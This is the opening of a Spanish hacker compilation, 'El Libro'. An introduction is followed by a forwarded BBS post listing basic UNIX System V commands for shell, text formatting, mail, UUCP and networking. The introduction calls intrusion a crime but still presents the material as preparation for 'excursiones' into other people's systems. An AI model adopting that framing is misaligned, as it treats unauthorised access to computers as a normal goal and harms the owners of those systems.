El Libro

Recopilación de varios autores por “El Segador de Almas”

La Biblioteca de Pandemonium (http://www.galeon.com/pandemonium)

Introducción

Este libro pretende ser una introducción al mundo del hacker y las técnicas de seguridad en computadoras.

Casi todos los textos que en el aparecen están escritos por otros autores que no son El Segador , este únicamente se
ha limitado a recopilarlos y darles forma para la edición de este libro o en algunos casos a traducirlos a partir de sus originales en ingles.

Si se conoce el autor del texto se pondrá por supuesto ya que los meritos de lo que nos pueda enseñar son suyos. Se agradece de antemano a estos autores la dedicación que emplearon en la escritura de esos párrafos y su aportación al maravilloso mundo del hacker.

Por supuesto ningún libro le enseñara a ser un hacker, como ningún libro le enseñaría a ser un buen cirujano , son cosas que se aprenden con la practica y con la investigación constante y el estudio continuo, por eso esto no pretende ser una guía del perfecto hacker sino un manual de introducción a algunos conceptos , unos complicados y otros muy básicos , que pueden servir a aquel que empieza.

Tambien espero despertar la curiosidad del mas avanzado lector que en estas paginas descubra algo que aun no sabia o le recuerde sus primeros comienzos en este oficio.

Cualquier fallo o errata será corregido en sucesivas ediciones del libro y espero las aportaciones , consejos , sugerencias o criticas de cualquier lector que podrán dirigir a El_ segador@hotmail.com)

Unos consejo personales que a lo mejor están de mas pero a mi me gustaría resaltar ; el hacker es considerado un delincuente en la sociedad actual y así te tratara la policía si te pilla en esto , así que recuerda que no estas jugando a policías y ladrones , estas cometiendo un delito cuando entras en una parte no-publica de un ordenador,
que aquí, en España ,se puede condenar hasta con 2 años de cárcel.

Una de las mejores maneras de empezar es instalarte LINUX en tu ordenador , un clónico gratuito (y muchos aseguran que mas potente :)) del sistema operativo UNIX que te encontraras en muchos de los ordenadores a los que accedas y aprender sobre LINUX las técnicas que luego utilizaras en tus "excursiones" pero con la tranquilidad de tu casa y sin cometer ningún delito.

Aunque la instalación de LINUX es un poco complicada con leerte unos cuantos artículos que hay escritos al respecto en muchos sites de la red , no creo que tengas muchos problemas. El sistema te lo puedes bajar de Internet o comprarlo en CD-ROM a un precio asequible ya que es un programa de libre distribución.
La comunidad LINUX es una gran familia a la que recomiendo unirse a cualquier persona.

Quizás a los nuevos que empiezan en esto les parezca que Microsoft es el líder en sistemas operativos en el mundo y así es en numero de usuarios pero las cosas realmente interesantes suelen estar en mainframes o grandes "súper-ordenadores" que suelen correr UNIX en alguna de sus versiones o sistemas menos conocidos como VMS.
Windows NT esta ganando terreno rápidamente a estos sistemas operativos , con lo que el interés de los hackers también se vuelve hacia este nuevo tipo de sistemas.

Empezar en esto siempre es difícil y costoso pero solo te puedo dar un consejo lee , lee , lee y cuando te canses lee
un poco mas y practica y practica hasta que veas a las teclas de tu ordenador como una extensión mas de tus dedos.
Bueno sin mas les dejo con esta obra de , espero , amena lectura.

El Segador.

Introducción al UNIX

El texto que aquí empieza es una introducción al UNIX un sistema indispensable para aquel que empieza.

Tambien es recomendable el leerse los textos de LINUX que hay en la red , unos manuales de distribución publica de este clon gratuito de UNIX.
En español los puedes encontrar en : http://lucas.hispalinux.es

Msg#: 678 Date: 20 Aug 95 11:11:00
From: Fernando Rodriguez Read: Yes Replied: No
To: All Mark:
Sub.: Unix Intro 1/6
@MSGID: 93:341/736.12@SubNet.org 3037269e
==========
* Forwarded by Fernando Rodriguez (93:341/736.12)
* Area : EDISON.HACKING (EDISON.HACKING)
* From : Trader, 93:341/736 (01 Aug 96 19:11)
* To : All
* Subj : Unix Intro 1/6
==========
hi All !!!

Como ha habido gente que me ha pedido que lo hiciera... he preparado unas Intros de Unix. Para que los que no tienen mucha idea de los comandos que tiene este ssoo sepan por donde empezar. Espero que las Intros sean fácilmente entendibles por todos.

Si alguien tiene alguna duda no tiene mas que preguntármela.

---o---o CUT o---o---

****
INTRODUCCION A LAS ORDENES BASICAS DEL SISTEMA UNIX. Por Trader <-SHE->
****

INTRODUCCION:
==========

Este documento pretende ser un resumen de las ordenes básicas del Sistema UNIX. En principio la mayoría de las ordenes aquí explicadas debería funcionar en la mayor parte de las variantes de UNIX, pero es posible que algunos comandos no funcionen en algunas variantes.
Este documento se orienta inicialmente a UNIX Sistema V Release 4.
El documento se divide en seis partes, de forma que cada parte incluye las ordenes relacionadas con un campo de acción común.

INDICE:
=======

1) ORDENES BASICAS:
==========

Estas ordenes incluyen algunas de las ordenes mas comúnmente utilizadas por los usuarios y las construcciones para escribir guiones shell.

1.1) ORDENES BASICAS:
---

alias Muestra todos los alias de orden actuales (csh, ksh).
nombre Muestra la orden que tiene como alias 'nombre'.
nombre orden Crea el alias 'nombre' para la orden 'orden' (csh).
nombre = orden Crea el alias 'nombre' para la orden 'orden' (ksh).

bg %idtrabajo Reanuda el trabajo 'id trabajo' suspendido en modo subordinado.

cal Imprime un calendario de mes actual.
mes Imprime un calendario para el mes especificado.
año Imprime un calendario para el año especificado.

cancel Detiene los trabajos de impresora planificados.
ID_peticion Detiene el trabajo de impresión planificado con ID 'ID_peticion'.
impresora Detiene un trabajo de impresión planificado sobre una 'impresora' especifica.

cat archivo Visualiza o combina archivos.
-u Hace que la salida no sea bufferada (por omisión es bufferada).
-v Imprime caracteres normalmente no imprimibles.

cd directorio Cambia el directorio actual (por omisión va al directorio propio).

chown propietario archivo Cambia la propiedad de 'archivo' a 'propietario'.
-h Cambia la propiedad de vínculos simbólicos.

cp arch1 destino Copia 'arch1' en 'destino'.
-i Consulta para evitar sobrescribir un 'destino' existente.
-p Retiene la estampa de modificación y los permisos de 'arch1'.
-r Copia los contenidos del directorio 'arch1' en el directorio 'destino'.
arch1 arch2...destino Permite concatenar múltiples archivos y copiarlos en 'destino'.

csh Inicia el interprete de ordenes interactivo Shell C.

date Muestra la fecha y hora actuales o especifica la fecha.
mmddHHMM Especifica la fecha como mes (mm), día (dd), hora (HH) y minuto (MM).
+formato Muestra la fecha de acuerdo con el formato suministrado.

echo cadena Hace el eco de 'cadena' sobre la salida estándar.

env Muestra el entorno actual del usuario.
nombre = valor Reasigna 'valor' a la variable del entorno 'nombre'.

exit Finaliza la sesión del usuario.

export variable Permite el uso de 'variable' por programas en todos los caminos de usuario (ksh, csh).

fg %idtrabajo Reanuda el trabajo 'idtrabajo' suspendido en modo preferente.

file arg Determina el tipo de archivo de 'arg'.
-h Ignora los vínculos simbólicos de 'arg'.

find camino expresión Encuentra los archivos en 'camino' que satisfacen 'expresión'.
-print Imprime el nombre de camino actual durante la búsqueda.
-name patrón Encuentra los archivos que se corresponden con 'patrón'.
-depth Actua sobre archivos dentro de un directorio antes que en el propio directorio.
-atime n Encuentra archivos accedidos hace 'n' dias.
-exec orden Ejecuta 'orden' sobre los archivos que ha encontrado.

fmt archivo Proporciona relleno de lineas y formateo sencillo para 'archivo'.
-w anchura Especifica la anchura de la linea a rellenar.
-c Efectua sangrado en modo corona sobre las lineas de salida.
-s Evita que las lineas cortas se junten en la salida.

head archivo Muestra el comienzo de 'archivo'.
-n Proporciona el numero de lineas a visualizar (por omision son diez).

history Muestra las lineas de ordenes previas (csh, ksh).

jobs Muestra todos los trabajos actualmente en ejecucion.

jsh Inicia el interprete de ordenes del shell de trabajos.

kill pid Termina un proceso.
-9 Elimina el proceso incondicionalmente.

ksh Inicia el interprete de ordenes shell Korn.

ln arch1 destino Vincula 'arch1' a 'destino'.

-f Ignora el estado de escritura de 'destino'.
-s Crea un vinculo simbolico a 'arch1' (por omision es un vinculo rigido).
arch2... Permite vincular multiples archivos ('arch2', 'arch3', etcetera) a 'destino'.

lp archivos Envia peticiones de impresion a una impresora de lineas LP.
-d dest Especifica un 'destino' distinto al implicito.
-c Hace copias de los archivos a imprimir antes de enviarlos a la impresora.
-s Suprime mensajes al usuario de parte de lp.
-m Envia correo al usuario a la terminacion de la impresion.

lpstat Muestra la informacion de estado de LP.
-o all Muestra el estado de todas las peticiones de impresion LP.
-r Muestra el estado del planificador de peticiones LP.
-d Muestra la designacion de la impresora LP implicita.

ls Lista el contenido de directorios o informacion de archivos.
-a Lista todas las entradas, incluuyendo las que no se visualizan normalmente.
-b Visualiza caracteres no imprimibles en notacion octal.
-d Lista unicamente el nombre del directorio, no su contenido.
-l Lista en formato largo informacion de archivo o directorio.
-m Lista archivos transversalmente, separados por comas.
-n Lista en formato largo mostrando los numeros uid y gid en vez de las cadenas de caracteres.
-q Visualiza los caracteres no imprimibles de los archivos mediante un simbolo de interrogacion (?).
-r Lista los archivos en orden inverso al normal solicitado.
-t Lista informacion de archivos ordenados segun la estampa de tiempo mas reciente a mas antiguo.
-1 Lista solo una entrada por linea de salida.

man orden Visualiza las paginas de manual correspondientes a 'orden'.
n Especifica que solo se visualicen ordenes de la seccion 'n'.

mkdir nombredir Crea el directorio 'nombredir'.
-m modo Permite especificar el modo.
-p Permite la creacion de directorios padres especificados en 'nombredir'.

more Muestra partes de archivos (por omision la entrada estandar).
nombresarch Proporciona los nombres de archivos a visualizar.
-c Borra la pantalla y la redibuja en vez de desplazarla.
-d Muestra errores en vez de hacer sonar la campana en caso de error.
-s Reune en una sola linea multiples lineas en blanco.
+numerolinea Comienza a visualizar en 'numerolinea'.

mv arch1 destino Mueve 'arch1' a 'destino'.
-f Mueve archivos incondicionalmente a 'destino'.
-i Pide confirmacion al usuario para evitar sobreescribir 'destino'.
arch2 Permite mover multiples archivos a 'destino'.

news Imprime noticias o estado de noticias.
-a Visualiza todas las noticias.
-n Visualiza los nombres de todas las noticias.
-s Muestra un recuento del numero de noticias.
items Proporciona noticias especificas a visualizar.

nice orden Ejecuta 'orden' con una prioridad inferior a la normal.
-incremento Especifica el rango de prioridad entre 1 y 19.

nohup orden Proporciona inmunidad frente a rupturas de comunicacion y abandonos durarante 'orden'.

page nombresarch Muestra partes de los archivos especificados.
+numerolinea Comienza a visualizar en 'numerolinea'.
+/patron Busca 'patron' en el archivo a visualizar.

passwd Cambia la contraseña de presentacion para el ID de usuario actual.
nombre Cambia la contraseña de presentacion para el usuario 'nombre'.

pg nombresarch Muestra partes de los archivos especificados.
-numero Proporciona el tamaño de linea de la ventana de visualizacion (por omision es 23).
+/patron Proporciona un patron a buscar en el texto.

pr arch1 Imprime archivo.
-llongitud Especifica longitud de pagina.
-wanchura Especifica anchura de pagina.
-d Muestra la salida a doble espacio por legibilidad o para edicion.
-hcabecera Imprime el titulo 'cabecera' al comienzo de la impresion del archivo.
arch2... Permite imprimir multiples archivos a la vez.

ps Muestra el estado de proceso actual.
-a Muestra los estados de los procesos mas frecuentemente solicitados.
-e Muestra informacion acerca de todos los procesos actualmente en ejecucion.
-f Genera un listado completo de los procesos en ejecucion.

pwd Muestra el directorio de trabajo actual.

r Reejecuta la orden precedente (es un alias en ksh).

resume %idtrabajo Inicia el trabajo 'idtrabajo' suspendido.

rm archivos Suprime archivos.
-f Suprime todos los archivos sin consultar al usuario.
-i Suprime archivos uno a uno mediante consulta interactiva al usuario.
-r Suprime archivos recursivamente incluyendo directorios.

rmdir nombredir Suprime el directorio 'nombredir'.
-p Suprime el directorio y los directorios padres en el camino de 'nombredir'.

script Salva un guion de entrada y salida de terminal en el archivo 'typescript'.
-a Añade la salida en la orden 'script' a un archivo existente.
archivo Especifica el archivo a utilizar para salvar la salida de 'script'.

set Muestra los valores de todas las variables shell actuales.
nombre = valor Reasigna 'valor' a la variable 'nombre'.

setenv variable valor Define la variable de entorno 'variable' con 'valor' (csh).

sh Inicia el interprete de ordenes shell implicito.

spell archivo Lista las palabras incorrectamente escritas que se encuantran en el archivo 'archivo'.
+sarch Proporciona un archivo 'sarch' ordenado de palabras consideradas escritas correctamente.
-b Comprueba la ortografia britanica de las palabras.

stop %idtrabajo Suspende el trabajo 'idtrabajo' en ejecucion actualmente.

stty Especifica opciones de terminal.
-a Muestra todas las especificaciones de opciones actuales.
-g Permite utilizar las especificaciones de opciones como argumentos para otra orden stty.
vellinea Especifica la velocidad en baudios a 'vellinea'.
-ignbrk Responde a la ruptura en la entrada.
-echoe Hace eco del caracter de borrado mediante una cadena BACKSPACE-SPACE-BACKSPACE.

tabs Especifica las tabulaciones en un terminal.
-Ttipo Especifica el tipo de terminal a utilizar.
-n Especifica que las tabulaciones se fijen cada 'n' posiciones.
-archivo Especifica que la informacion de formato de tabulaciones esta contenida en 'archivo'.
a,b,... Especifica que las tabulaciones estan en 'a', 'b', etc. (hasta 40 especificaciones).
-ccodigo Especifica tabulaciones encapsuladas basadas en un formato de lenguaje de programacion particular.

tail archivo Visualiza el final del archivo.
-numero Comienza en 'numero' de lineas desde el final del archivo.

tee archivo Copia la entrada estandar a la salida estandar ademas de a 'archivo'.
-a Añade la salida a 'archivo' en vez de sobreescribirla.
-i Hace que el proceso ignore cualquier interrupcion.

touch archivos Actualiza los tiempos de acceso y modificacion de los 'archivos'.
-a Especifica que solo se cambie el tiempo de acceso.
-m Especifica que solo se cambie el tiempo de modificacion.
-c Evita la creacion de archivo para un archivo no existente designado en 'archivos'.

unalias nombre Suprime el alias 'nombre' existente (chs, ksh).

unset variable Desactiva la especificacion de la variable 'variable'.

unsetenv variable Desactiva la variable de entorno 'variable' (csh).

who Lista informacion acerca de los usuarios de un sistema.

whoami Lista informacion propia del ID de usuario que teclea la orden.

1.2) ORDENES DE GUION DEL SHELL KORN:

---

exit — Devuelve el estado de la ultima orden shell ejecutada.
- valor — Asigna un codigo de salida 'valor' a 'exit'.

print — Efectua funciones de visualizacion en el shell Korn analogas a la de la orden 'echo'.
- -n — Visualiza la salida sin añadir NEWLINEs a la salida.
- -R — Especifica que 'print' debe ignorar cualquier significado de caracter especial en el texto de impresion.
- -p — Especifica que la salida va a ser enviada a traves de un cauce e impresora en modo subordinado.

printf formato cadena — Visualiza 'cadena' bajo las especificaciones de formato de 'formato'.

read — Lee la respuesta del usuario y la almacena para procesamiento futuro.

select i in lista — Solicita al usuario una opcion dentro de una lista.

set cadena — Asigna un parametro posicional a cada palabra en 'cadena'.

trap ords interrupciones — Ejecuta las ordenes 'ords' al recibir alguna de las 'interrupciones'.
Interrupciones atrapadas comunes son:
1 indica que se ha detectado una ruptura de comunicacion [hangup].
2 indica que se ha detectado una interrupcion (DELETE).
15 indica que se ha detectado una señal de terminacion.

xargs -i orden arg — Ejecuta 'orden' sobre los argumentos 'arg' construida de la entrada estandar.
- -p — Solicita verificacion antes de efectuar 'orden'.

1.3) SENTENCIAS CONDICIONALES DE GUION DEL SHELL KORN:

---

if orden — Ejecuta 'orden' y comprueba que el estado de terminacion de la orden sea ocrrecto.
- then ordenes — Ejecuta 'ordenes' cuando 'if' (o 'elif') se completa con exito.
- test condicion — Ejecuta 'ordenes' si se da la 'condicion'.
- then ordenes

elif orden Especifica chequeo 'if' adicional si el primero no se completa con exito.
else ordenes Ejecuta 'ordenes' cuando el chequeo 'if' no se completa con exito.

fi Finaliza la estructura 'if...then'.

case x in y orden Ejecuta 'orden' si la cadena 'x' se encuentra en el patron 'y'.

esac Finaliza la estructura 'case...in'.

for x Prepara un bucle de ordenes en donde 'x' es el numero de parametros posicionales.
in lista Especifica una 'lista' del numero de veces a ejecutar 'for'.

do ordenes Ejecuta 'ordenes' cada vez que se entra al bucle 'for'.

done Finaliza la estructura 'for...do'.

while ordenes Prepara un bucle a ejecutar mientras 'ordenes' sea cierto.
do ordenes Ejecuta 'ordenes' cada vez que se entra al bucle 'while'.

done Finaliza la estructura 'while...do'.

until ordenes Prepara la ejecucion de un bucle hasta que 'ordenes' sea cierto.
do ordenes Ejecuta 'ordenes' cada vez que se entra al bucle 'until'.

done Finaliza la estructura 'until...do'.

while true Prepara un bucle de ejecucion que se detiene cuando una condicion ya no es cierta. Es por tanto, un bucle sin fin.

until false Prepara un bucle de ejecucion que se detiene cuando una condicion es falsa. Es por tanto, un bucle sin fin.

2) ORDENES PARA EDICION Y FORMATEADO DE TEXTOS:

Estas son las ordenes utilizadas para editar y formatear archivos de texto (Documenter's Worbench) y las ordenes utilizadas para analizar el estilo de

redaccion (Writer's Workbench).

2.1) ORDENES DE EDICION:

ed Invoca al editor de lineas.
-r Permite solo la lectura de los contenidos del archivo
nombrearch Especifica 'nombrearch' como archivo a editar.

vi arch1 Invoca al editor de pantalla sobre 'arch1'.
-R Solo permite la lectura de los contenidos del archivo.
+numlinea Posiciona el cursor en la linea 'numlinea' del archivo.
arch2 arch3 Permite editar 'arch2' y 'arch3' ademad de 'arch1'.

2.2) ORDENES DE FORMATEADO DE TEXTO:

checkdoc archivo Comprueba la existencia de errores de formateado en el archivo de entrada 'archivo'.

col Filtra las vueltas de lina atras y los pasos de media linea en la salida.
-x Evita que los espacios en blanco se conviertan en caracteres de tabulacion en la salida.
-f Permite el paso hacia adelante de media linea en la salida.
-b Especifica que el dispositivo de salida no puede volver espacios atras.

dpost archivo Convierte el archivo de salida 'troff' a formato PostScript.

eqn nombrearch Preprocesador 'troff' que formatea ecuaciones deficidad en 'nombrearch'.

grap nombrearch Preprocesador 'pic' que formatea graficos definidos en 'nombrearch'.

mm archivo Formatea 'archivo', utilizando reglas de macros memorandums, para salida 'nroff'.
-rNk Comienza la numeracion con la pagina 'k'.
-olista Especifica una lista de numeros de paginas a imprimir.
-rC3 Imprime "DRAFT" al final de cada pagina de salida.
-rLx Especifica la longitud de pagina de salida a 'x' lineas.
-rOn Especifica el margen de pagina a 'n' posiciones del extremo izquierdo.
-rWk Especifica la anchura de pagina de salida a 'k' posiciones.

-t Invoca al preprocesador 'tbl' para formatear tablas.
-e Invoca al preprocesador 'neqn' para formatear ecuaciones.
-Ttipo Especifica 'tipo' como el tipo de terminal que va ha recibir la salida.

mmt archivo Formatea 'archivo', utilizando reglas de macros memorandums, para salida 'troff'.
-rNk Comienza la numeracion con la pagina 'k'.
-olista Especifica una lista de numeros de paginas a imprimir.
-rC3 Imprime "DRAFT" al final de cada pagina de salida.
-rLx Especifica la longitud de pagina de salida a 'x' unidades escaldas.
-rOn Especifica el margen de pagina a 'n' unidades escaladas desde el extremo izquierdo.
-rSk Especifica el tamño en puntos de la salida a 'k'.
-rWk Especifica la anchura de pagina de salida a 'k' unidades escaladas.
-t Invoca al preprocesador 'tbl' para formatear tablas.
-e Invoca al preprocesador 'neqn' para formatear ecuaciones.
-p Invoca al preprocesador 'pic' para formatear dibujos de lineas.
-g Invoca al preprocesador 'grap' para formatear graficos.

neqn nombrearch Preprocesador 'nroff' para imprimir ecuaciones deficidas en 'nombrearch'.

nroff narch Produce salida de tipo terminal formateado para el archivo de entrada 'narch'.
-mnombre Invoca al archivo de macros 'nombre'.
-nN Numera la primera pagina de salida a 'N'.
-olista Imprime las paginas o rangos de paginas especificadas en 'lista'.
-raN Especifica el registro 'a' al valor 'N'.
-sN Para cada 'N' paginas para permitir gestion de impresora/papel.
-Tnombre Proporciona el 'nombre' del sidpositivo de tipo terminal ('nroff'), o la designacion de la impresora ('troff').

pic nombrearch Preprocesador 'troff' que formatea dibujos definidos en 'nombrearch'.

tbl nombrearch Preprocesador 'troff' que formatea tablas defincidas en 'nombrearch'.

troff tarch Produce salida tipografica formateada para el archivo de entrada 'tarch'.
-mnombre Invoca al archivo de macros 'nombre'.

-nN Numera la primera pagina de salida a 'N'.
-olista Imprime las paginas o rangos de paginas especificadas en 'lista'.
-raN Especifica el registro 'a' al valor 'N'.
-sN Para cada 'N' paginas para permitir gestion de impresora/papel.
-Tnombre Proporciona el 'nombre' del sidpositivo de tipo terminal ('nroff'), o la designacion de la impresora ('troff').

2.3) ORDENES WWB:
---

diction archivo Lista sentencias o frases impropias contenidas en 'archivo' y propone alternativas para mejorarlas.
-s Marca frases potencialmente inaceptables sin suministrar alternativas.
-f parch Proporciona la lista 'parch' suministrada por el usuario de frases aceptables.

double archivo Encuentra ocurrencias consecutivas de una palabra en 'archivo'.

punct archivo Señala errores de puntuacion en 'archivo'; salva las correcciones en 'pu.archivo'.

sexist archivo Lista terminos sexistas en 'archivo' y sugiere alternativas.
-s Marca los terminos sexistas sin suministrar alternativas.
-f parch Proporciona un archivo de usuario 'parch' de terminos para los cuales comprobar 'archivo'.

spellwwb archivo Lista las palabras incorrectamente escritas halladas en el archivo 'archivo'.
-f parch Proporciona un archivo 'parch' de palabras a considerar escritas correctamente.
-b Comprueba la ortografia britanica de las palabras.

splitinf archivo Identifica los infinitivos partidos que aparecen en 'archivo'.

style docarch Analiza el estilo de redaccion del documento 'docarch'.
-p Lista construcciones de verbos pasivos.
gtn Lista todas las frases que contienen al menos 'n' palabras.
-N Imprime normalizaciones de formas verbales utilizadas como nombres.
-a Imprime todas las frases con su longitud y calificacion

de legibilidad.

wwb archivo Ejecuta el conjunto completo de ordenes 'wwb' sobre 'archivo'.

3) ORDENES DE COMUNICACIONES Y RED:

Este apartado incluye las ordenes utilizadas para enviar correo electronico y mensajes, transferir archivos, compartir archivos y efectuar ejecucion remota sobre maquinas conectadas en red. Estas ordenes inluyen ordenes sel Sistema UUCP, ordenes remotas de Berkeley, ordenes Internet y ordenes de sistemas de archivos distribuidos.

3.1) ORDENES BASICAS DE COMUNICACION:

mail Lee el correo que se ha enviado al usuario (o envia correo a otros usuarios).
- -usuario Envia correo al usuario de ID 'usuario'.
- -F sisa!usuario Reexpide correo al usuario de ID 'usuario' en el sistema 'sisa'.

mailx Procesa correo interactivamente.
- -f fnombre Lee correo del archivo 'fnombre' en vez de del buzon normal.
- -H Muestra unicamente el resumen de las cabeceras de los mensajes.

mesg Muestra el estado de permiso o denegacion de mensajes procedentes de otros usuarios.
- -y Permite la recepcion de mensajes procedentes de otros usuarios en el sistema.
- -n Impide que sean enviados mensajes de otros usuarios en el sistema.

notify Muestra el estado de notificacion de correo de llegada.
- -y Permite notificacion de nuevo correo al usuario.
- -m archivo Proporciona un archivo de correo 'archivo' en el que salvar los nuevos mensajes.
- -n Deniega la notificacion de nuevo correo al usuario.

talk nombreusuario Prepara una conversacion con el usuario 'nombreusuario' sobre una red TCP/IP.
- tty Proporciona un terminal especifico 'tty' para un usuario presente mas de una vez.

uname Lista el nombre del sistema actual en el que el usuario esta presente.

-n Muestra el nombre de nodo de comunicaciones para el sistema.
-rv Visualiza la version del sistema operativo y la version de la maquina.

vacation Responde automaticamente a la llegada de mensajes de correo.
-m mensarch Proporciona un archivo de texto de mensaje con el que responder.
-l march Proporciona un archivo de correo alternativo 'march' para salvar mensajes recibidos.

wall Escribe un mensaje para difundirlo a todos los usuarios locales.

write usuario Escribe un mesnaje interactivo para un usuario especifico de nombre 'usuario'.
tty Especifica una linea 'tty' para un usuario presente en mas de una linea.

3.2) UTILIDADES BASICAS DE RED:

ct telno Conecta con un terminal remoto en el numero telefonico 'telno'.
-s velocidad Proporciona una velocidad de linea para que tenga lugar la transmision.

cu Permite a un usuario presentarse en un sistema remoto.
nombresist Especifica el sistema 'nombresist' al que conectarse.
telno Especifica 'telno' como el numero a marcar para conectarse a la maquina remota.
-s velocidad Proporciona una velocidad de linea para la transmision entre maquinas.
-c tipo Especifica el 'tipo' de red de area local a utilizar.
-l linea Especifica 'linea' como el nombre de dispositivo para la linea de comunicaciones.

uucheck Comprueba los archivos y directorios UUCP y el archivo de permisos UUCP.
-v Muestra como sera interpretado el archivo de permisos UUCP.

uucico Proporciona transporte de archivos para los archivos de trabajo sel Sistema UUCP.
-ctipo Especifica que se va a utilizar la red 'tipo' para transporte.
-ddirspool Especifica que los archivos a transferir estan en el directorio 'dirspool'.

-ssistema Especifica el 'sistema' remoto con el que 'uucico' contacta.

uucp sisa!fuente sisb!dest Copia el archivo 'fuente' del sistema 'sisa' a 'dest' en 'sisb'.
-nusuario Notifica a 'usuario' en el sistema remoto que se ha enviado un archivo.
-C Hace una copia de los archivos locales en el directorio de spool antes de transefir.
-ggrado Especifica una clase de prioridad a asignar para ejecucion.

uuglist Visualiza las clases de prioridad permisibles (grados de servicio) para las ordenes 'uucp' y 'uux'.

uulog Visualiza la informacion del Sistema UUCP contenida en archivos de registros de transacciones.
-ssitema Visualiza informacion acerca de las transacciones que tienen lugar en 'sistema'.
-fsistema Visualiza las ultimas pocas lineas del registro de transferencia de archivos para 'sistema'.

uuname Lista los nombres de los sistemas conocidos a UUCP.
-c Muestra los nombres de los sistemas conocidos a la orden 'cu'.
-l Visualiza el nombre del sistema local.

uupick Recupera archivos enviados mediante la orden 'uuto' al sistema local.
-ssistema Proporciona 'sistema' como nombre del sistema a buscar.

uusched Planifica el programa de transporte de archivos Sistema UUCP, 'uucico'.

uustat Proporciona un estado de todas las ordenes 'uucp'.
-a Lista todos los trabajos actualmente en la cola.
-j Visualiza los IDs de trabajos de todos los trabajos en cola.
-kidtrabajo Solicita que el trabajo 'idtrabajo' sea eliminado.
-tsistema Visualiza la velocidad de transferencia para el sistema 'sistema'.

uuto archfuentes dest Envia los archivos 'archfuentes' al destino 'dest'.
-p Crea una copia del archivo fuente en el directorio spool antes de enviarla.
-m Notifica por correo cuando se ha completado el proceso.

Uutry sistema Lleva la cuenta y visualiza los intentos de conexiones de 'uucico' a 'sistema'.

-r Prescinde del tiempo de reintento normal definido para 'sistema'.
-ctipo Especifica que se utilice la red 'tipo' para transporte.

uux cadena-orden Ejecuta la orden 'cadena-orden' sobre el sistema especificado.
-n No notifica al usuario si la orden falla.
-C Hace una copia de los archivos locales antes de ejecutar la orden 'uux'.
-ggrado Especifica una clase de prioridad a asiganar para ejecucion.

uuxqt -ssistema Ejecuta las peticiones de orden 'uux' remota sobre 'sistema'.

3.3) ORDENES REMOTAS DE BERKELEY:
---

rcp host1:arch1 host2:arch2 Copia 'arch1' en 'host1' a 'arch2' en 'host2'.
-p Proporciona la misma informacion de estampacion de archivo sobre el archivo copiado.

rlogin host Abre sesion en el host remoto 'host' sobre la red TCP/IP.
-l nombreusuario Abre sesion en el host con 'nombreusuario' como nombre de usuario.
-8 Permite la transmision de datos de ocho bits en vez de siete bits a traves de la red.
-e c Proporciona un carcater de escape alternativo 'c' para desconexion del host.

rsh host orden Ejecuta la orden 'orden' sobre la maquina 'host'.
-l nombreusuario Suministra 'nombreusuario' como nombre de usuario remoto en vez del propio.
-n Redirige la entrada a /dev/null para evitar interacciones con el shell invocante.

ruptime Muestra el estado de todos los hosts activos en la red TCP/IP.
-a Muestra el estado de todos los hosts, incluyendo los inactivos durante mas de una hora.
-l Muestra las maquinas host en orden de carga de actividad decreciente.

rwall host Escribe un mensaje a todos los usuarios de la maquina remota 'host'.

rwho Lista todos los usuarios de red que estan actualmente

activos en la red.
-a Lista todos los usuarios presentes con independencia de su actividad en la red.

3.4) ORDENES INTERNET:
---

finger Visualiza informacion acerca de los usuarios en la red TCP/IP.
nombre Visualiza aun mas detalles del usuario 'nombre'.
-s Produce un formato de salida mas corto.

ftp Inicia una sesion ftp interactiva.
host Proporciona 'host' como nombre de la maquina a conectar.
-i Desactiva el inductor interactivo durante transferencias de multiples archivos.

ping host Envia una peticion para responder al sistema 'host' en la red.
plazo Proporciona el numero de segundos a esperar antes de terminar el palzo.
-r Envia peticon directamente a 'host' evitando las tablas de encaminamiento normales.

telnet Inicia una sesion telnet interactiva.
host Proporciona 'host' como nombre de la maquina con la cual conectar.
puerto Proporciona 'puerto' como el puerto a abrir en 'host' para la conexion.

tftp Inicia una sesion de tftp interactiva.
host Proporciona 'host' como nombre de la maquina con la cual conectar.

3.5) ORDENES USENET:
---

postnews Remite una articulo a la USENET.

readnews Lee noticias de la USENET.
-n categoria Especifica una categoria desde la cual leer articulos de noticias.

rn Lee noticias en USENET utilizando una interface de usuario mejorada.
categoria Especifica una categoria desde la cual leer articulos de noticias.

vnews Visualiza los articulos USENET en un formato orientado a pantalla.
-n categoria Especifica una categoria desde la cual leer articulos de noticias.

3.6) ORDENES DE SISTEMA DE ARCHIVOS DISTRIBUIDOS (DFS):
---

dfshares Lista recursos DFS disponibles de sistemas locales o remotos.
-F tipo Especifica mostrar archivos para un sistema 'tipo' (NFS o RFS).
-servidor Especifica 'servidor' como el servidor sobre el que examinar los recursos.

mount recurso directorio Monta el recurso remoto 'recurso' sobre el punto de montaje 'directorio'.
-F tipo Especifica el sistema de archivos a montar como 'tipo' (NFS o RFS).
-r Monta el recurso remoto como archivo de solo lectura.

mountall Monta multiples sistemas de archivos listados en /etc/vfstab.
archivo Especifica un archivo diferente 'archivo' a utilizar como lista de montaje.
-F tipo Especifica el sistema de archivos a montar como 'tipo' (NFS o RFS).
-l Especifica que solo se van a montar sistemas de archivos locales.
-r Especifica que solo se van a montar sistemas de archivos remotos.

nsquery Proporciona informacion acerca del servidor de nombres locales y remotos en una red RFS.
nombre Especifica 'nombre' como un dominio o nombre de nodo en la red.

share Hace que un recurso local este disponible para montaje por sistemas remotos.
nombrecamino Especifica 'nombrecamino' como ubicacion del recurso.
rnombre Especifica el nombre del recuso como 'rnombre'.
-o modo Especifica 'rnombre' como de 'modo' solo lectura (ro), o como de 'modo' lectura/escritura (rw).

shareall Comparte los recursos listados en el archivo /etc/dfs/dfstab.
archivo Especifica un archivo diferente 'archivo' a utilizar

como lista.
-F tipo Especifica el 'tipo' del sistema de archivos como RFS o NFS para los recursos compartidos.

umount recurso Desmonta el recurso remoto 'recurso'.
-F tipo Especifica el 'tipo' del sistema de archivos como NFS o RFS.

umountall Desmonta todos los sistemas de archivos compartidos actualmente montados.
-F tipo Especifica el 'tipo' del sistema de archivos como NFS o RFS.
-l Especifica que solo se van a desmontar sistemas de archivos locales.
-r Especifica que solo se van a desmontar sistemas de archivos remotos.
-k Elimina procesos con archivos abiertos sobre sistemas de archivos desmontados.

unshare hace que un recurso local deje de estar disponible para montaje en sistemas remotos.
nombrecamino Especifica 'nombrecamino' como la ubicacion del recurso.
rnombre Especifica el nombre del recurso como 'rnombre'.
-F tipo Especifica el 'tipo' del sistema de archivos como RFS o NFS para el recurso compartido.

unshareall Hace que todos los recursos compartidos actualmente dejen de estar disponibles para sistemas remotos.
-F tipo Especifica el sistema de archivos de recursos compartidos como 'tipo' (RFS o NFS).

